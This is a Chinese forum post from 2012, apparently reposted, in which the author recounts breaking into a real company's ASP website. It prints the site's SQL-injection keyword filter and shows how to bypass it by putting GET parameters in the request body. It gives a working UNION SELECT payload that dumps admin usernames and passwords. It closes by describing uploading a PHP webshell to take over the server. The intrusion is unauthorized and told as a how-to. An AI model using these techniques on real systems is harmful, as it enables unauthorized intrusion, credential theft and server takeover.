俞金成 發表於 2012-5-5 00:44:19

利用Request对象的包解析漏洞绕过防注入程序

今天无聊来看看他们的站,打开网站 asp 的企业站 ,点了几个链接看了下,看不出来什么程序 于是扫扫目录 扫出来个 upload_photo.asp 这个文件一般使用的是无惧无组件上传 ,存在双文件上传的漏洞 ,尝试 cookies 欺骗绕过登录检测 遗憾的是不行 看来这个洞被补了。。虽然是老程序 ,但是用了这么多年 ,经过无数次被黑之后 一些洞洞也被补的差不多了。。去网上找了个差不多的企业站程序下载下来研究了下 ,发现其 downloadshow.asp 的防注入是通过 check_sql.asp 文件来实现的 ,好的我们来看看这个程序 看看能不能绕过 ,本地搭建了个测试环境,下面是check_sql.asp 的内容 <br /><br><div class="msgheader"><div class="right"><span style="CURSOR: pointer" class="copybut"><u>复制代码</u></span></div>代码如下:</div><div class="msgborder" id="phpcode31"> <br />&lt;% <br />Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name <br />'------定义部份 头---------------------------------------------------------------------- <br />Err_Message = 1 '处理方式:1=提示信息,2=转向页面,3=先提示再转向 <br />Err_Web = "Err.Asp" '出错时转向的页面 <br />Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥=" <br />'在这部份定义get非法参数,使用"∥"号间隔 <br />Form_Badword="'∥%∥&amp;∥*∥#∥(∥)∥=" '在这部份定义post非法参数,使用"∥"号间隔 <br />'------定义部份 尾----------------------------------------------------------------------- <br />' <br />On Error Resume Next <br />'----- 对 get query 值 的过滤. <br />if request.QueryString&lt;&gt;"" then <br />response.write "QueryString :" &amp; request.QueryString &amp; "<br />" <br />Chk_badword=split(Query_Badword,"∥") <br />FOR EACH Query_Name IN Request.QueryString <br />for i=0 to ubound(Chk_badword) <br />If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))&lt;&gt;0 Then <br />response.write request.QueryString(Query_Name) &amp; "出现关键词" &amp; Chk_badword(i) &amp;"<br />" <br />Select Case Err_Message <br />Case "1" <br />Response.Write "传参错误!参数 "&amp;name&amp;" 的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符" <br />Case "2" <br />Response.Write "&lt;Script Language=JavaScript&gt;location.href='"&amp;Err_Web&amp;"'&lt;/Script&gt;" <br />Case "3" <br />Response.Write "&lt;Script Language=JavaScript&gt;alert('传参错误!参数 "&amp;name&amp;"的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');location.href='"&amp;Err_Web&amp;"';&lt;/Script&gt;" <br />End Select <br />Response.End <br />End If <br />NEXT <br />NEXT <br />End if <br />'-----对 post 表 单值的过滤. <br />if request.form&lt;&gt;"" then <br />Chk_badword=split(Form_Badword,"∥") <br />FOR EACH name IN Request.Form <br />for i=0 to ubound(Chk_badword) <br />If Instr(LCase(request.form(name)),Chk_badword(i))&lt;&gt;0 Then <br />response.write request.form(name) &amp; "出现关键词" &amp; Chk_badword(i) &amp;"<br />" <br />Select Case Err_Message <br />Case "1" <br />Response.Write "出错了!表单 "&amp;name&amp;" 的值中包含非法字符串!\n\n请不要在表单中出现: % &amp; * # ( ) 等非法字符!" <br />Case "3" <br />Response.Write "出错了!参数 "&amp;name&amp;"的值中包含非法字符串!\n\n请不要在表单中出现: % &amp; * # ( ) 等非法字符!" <br />End Select <br />Response.End <br />End If <br />NEXT <br />NEXT <br />end if <br />%&gt; <br /></div><br />可以看出其对GET请求发送的参数 过滤的非常的严格 ,但是对于POST发送的参数却只过滤了几个符号 ,这个很好绕过的 ,但是downloadshow.asp 只接受GET 发送过来的参数啊 ,这该如何绕过?这里就要使用 asp 和 aspx 的Request对象的包解析漏洞,即像下面的形式发送的内容 ,使用 request对象仍然可以获取正确的值 <br />GET /Downloadshow.asp HTTP/1.1 <br />HOST:XXXXXXXXXXXXXXXX <br />Content-Length: xx <br />Content-Type: XXXXXXXXXXXXXXXXXX <br /><br />ID=111 <br /><br />然后 downloadshow.asp 中 使用request(&quot;ID&quot;)仍然可以获取正确的ID值 ,和直接 GET /downloadshow.asp?ID=111 的效果是一样的,但是这样的话 对于上面的那个 sql 注入检测程序 ,却会把这样的数据当作是POST提交的数据 ,再加上不到位的检测 ,sql注入漏洞就产生了,如下图所示: <br /><img alt="点击查看原图" src="https://img.jbzj.com/do/uploads/allimg/120505/0049080.png" border="0" /><br /><img alt="点击查看原图" src="https://img.jbzj.com/do/uploads/allimg/120505/0049081.png" border="0" /><br /><img alt="点击查看原图" src="https://img.jbzj.com/do/uploads/allimg/120505/0049082.png" border="0" /><br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这里有个技巧就是 使用 火狐的 Hackbar 插件 可以很方便的加上 POST 的数据 。<br />好了 本地成功了 我们拿到目标站来试试效果 <br />来到 downloadshow.asp 页面 提交POST 数据<br />ID=-7%20union%20select%201%2Cusername%2C3%2C4%2C5%2C6%2Cpassword%2C8%2Cpassword%2C0%2C11%2C12%2C13%20from%20admin<br />直接爆出管理员的用户名密码<br />
<p><img alt="点击查看原图" src="https://img.jbzj.com/do/uploads/allimg/120505/0049083.png" border="0" /></p>
<p>&nbsp;</p>
<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 然后就是后台拿shell了 ,现在我们是管理员了而且已经登录, 那我们再来 试试双文件上传&nbsp; 悲剧的发现 对于 在后缀后面加空格的方法绕过后缀检测已经无效了,无惧的上传组建会检测 asp asa aspx 3种后缀 ,那么对于 asp 的站 可以试试 cer ,悲剧的是cer这个站不支持。。又看到有数据库备份 ,看看 数据库的路径和名字都不可改写 这个好办&nbsp; 使用 firebug 改成我上传的图片路径 然后备份文件填写1.asp 提交,本地抓下包 发现原始数据库的路径并未当作参赛提交 无语了 &hellip;&hellip;果然 像我开头说的那样虽然是垃圾站 但是经过这么多年被黑,各种小洞都补了 。。无奈 试试其他脚本类型吧&nbsp; 上传个 php ,还好服务器支持php ,shell 到手了。&nbsp;</p>
頁: [1]
查看完整版本: 利用Request对象的包解析漏洞绕过防注入程序